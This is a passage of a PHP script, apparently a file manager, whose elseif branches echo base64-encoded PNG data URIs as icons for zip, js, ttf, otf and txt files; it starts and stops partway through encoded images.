sxsg9G0q9EMb3fs3JiZY/076X/v3zcuyzzm9ffLJma+WfDeUQivn31X5jf66JuXL29YEm6qrchMGnVn+lj8wbbyzGJV0U9cH1wxOXP3fnT8et8EgAAQAAAIAAEgAAAQAAJAAAAgAASAAABAAAgAAQCAABAAAgAAASAABAAAAkAACAAABIAAEAAACAABIAAAEAACQAAAIAAEgIMcAAEgAABAAJS2T62eVu8gB+BUojFCAJSo6yrn1DjIATiVaIwQACXq+9WPVTjIATiVaIwQACVqUsP6BQ5yAE4lGiMEQInqG+qa8PpZdzjQAXiBaGyIxggBUKJGRnouv7ZitoMdgBeIxoZojBAApRsAf7Kho+Hwq6fd4oAHICMaE6KxIRojBEBpR8Dt/1Y510EPQEY0JkRjQ9LGwyQGwB/v3tu8/IJ5Exz4AAkXjQXRmBCNDQIgIT8FrG6trf7LGbc7AQASKhoDorEgaV/9JzoA/isC/ues3Rur/272nU4EgISJrv3RGBCNBUkdBxMbAKOm7Ky68pKFv3rSCQGQDNE1P7r2J338S3wARKbvqv7jr61b8MgF8yacdHIAlOzv/Seja310zTf2CYAXqE01/o+bNi37+ufXzKi7dPGvj50/b8KJ106/zYkDEDPRtTu6hkfX8uiaHl3bo2u8se73/j8FjfvxuuzUJAAAAABJRU5ErkJggg=="; } elseif ($ext == "zip") { echo "data:image/png;base64,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"; } elseif ($ext == "js") { echo "data:image/png;base64,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"; } elseif ($ext == "ttf") { echo "data:image/png;base64,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"; } elseif ($ext == "otf") { echo "data:image/png;base64,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"; } elseif ($ext == "txt") { echo "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAMAAAD04JH5AAAAA3NCSVQICAjb4U/gAAAACXBIWXMAAB+jAAAfowF2K5KkAAAAGXRFWHRTb2Z0d2FyZQB3d3cuaW5rc2NhcGUub3Jnm+48GgAAAj1QTFRF////6eng2dnS6eng6eng3t7T3eTc6eng6engv8fCvsXBusXA6eng6eng5eXbr7m25OTZs726tL676eng6eng6eng29rNnqyr6englaWllqaml6aml6enmKiomaiomqmpmqqqm6qqnKurnqysnq2tn62tn66uoK+voa+vobCworCuorCwpLKyprOzprS0qba2qre3q7i4rrq6r7u7sLy8s76+s7+/tL+/tcDAtcHBt8LCusTEusXFvMbGvsjIv8nJwMnJwcrKw8zMxM3Nxc7Oxs7OyL24yL65yb65yb+6ydHRyr+6ysC6ytLSy8C7y8G7y8K8zMK8zMK9zNTUzcS+zsXAzsbBz8bBz9bW0MjC0MjD0cnD0djY0srE0srF0svE0tnZ08zG1M3H1M7I1c/I1tDJ1tDK1tzc19DK19HK193d2NLL2N3d2dPM2dfK2tXN2tXO2uDg29bP29fP29fQ3NfQ3NjQ3OHh3djQ3dnR3eLi3trS3trT3tvT3uPj39zU39zV3+Tk4NzU4N3V4N3W4N7W4OXl4d7V4d7W4d/X4ebm4t/X4uDY4uHX4ufn4+HZ4+La5OLZ5OLa5OPa5OTa5ePb5eTb5enp5uTc5uXc5uXd5ubd5unp5urq5+bd5+be5+fe5+vr6Ofe6Oje6Ojf6Ojg6Ovr6ejf6eng6ezs6e3t6u3t6+7u7O/v7vDw7/Ly8PLy8PPz8fPz8vT08/X19Pb29ff39/j4+fr6+/z8/Pz8/P39/f7+/v7+////9nUAPAAAABl0Uk5TAAgMDCIjJCQoREZKWGSorszPz9PZ9Pb3/R1MCi0AAAQaSURBVHja7dsHUxNBFABg7Fix4wGxY8PYC4qKNYkSe1BBUUFARSIaEcEGgiAqdqOASlBAImLD3u63+XaTMJfL5bjb7HKDs28m3Nu3S+4j3O5eMpOoKFmMHO+NOCaMGhRFGiO8NOLxRGLBODqA06SCfpMoAUgFQ7y0AISCaHoAMgFNAJGAKoBEQBdAIKAM0C+gDdAtoA7QK6AP0ClgANAnYAHQJWAC0CNgA9AhYATQLmAF0CxgBtAqYAfQKGAI0CZgCdAkYArQImAL0CCQAlrP73dII+NyxICeBVLAFYs87kUM6FEgBRwLARRpBTTfCRujtQNq5ee3umlcHwO0X4S12QelcayOygU6sDdmgVpEcwAH9CHAqzKXQlT4e5+Ut/mSppLQQfX+QRWoUfaKDPDQblGMfbi3xGbZ6UHJDZvCGFsJHrTP17I/JALkWcJEFep1QFKMksOKYxyoqyrQyiMCuMIB8N+TCUlleGcmfg0DLRcRwJNlVXrqtFO492a6NacdJY8yFAal38SDTqXhPSTLQzgLGu4rRHM3MJDUh4x51L0tolYDXwc4gAMIAS35dovuyEQLgHN3UM2e30IEKLWQRLrXWx1SLCUC5BIBrB6FNTyXCFBnJQHkeL2N8v3RWkd2Ebqd+XojrxLtD41FQUWnm09DDuAAb6TT8GS1/ybonPLsU+8nnYZBC5ETVdr2hF1/VPsJF6KgpXgXqpSHXwDV+3Mj34yO4LtPW1iAen9ppNux7cgD39shh/IJ1PtJt2M+DTmAA2AiBpKm0PeorewBTVm2DPw2tz1H4e5wh4s54Ezgo41KxcVnq4c14ASc5TBKipWXPzdrwIOtFut1vMkqbnLZ7C9Cz6VnvqTtcugHcbf5OsABHMA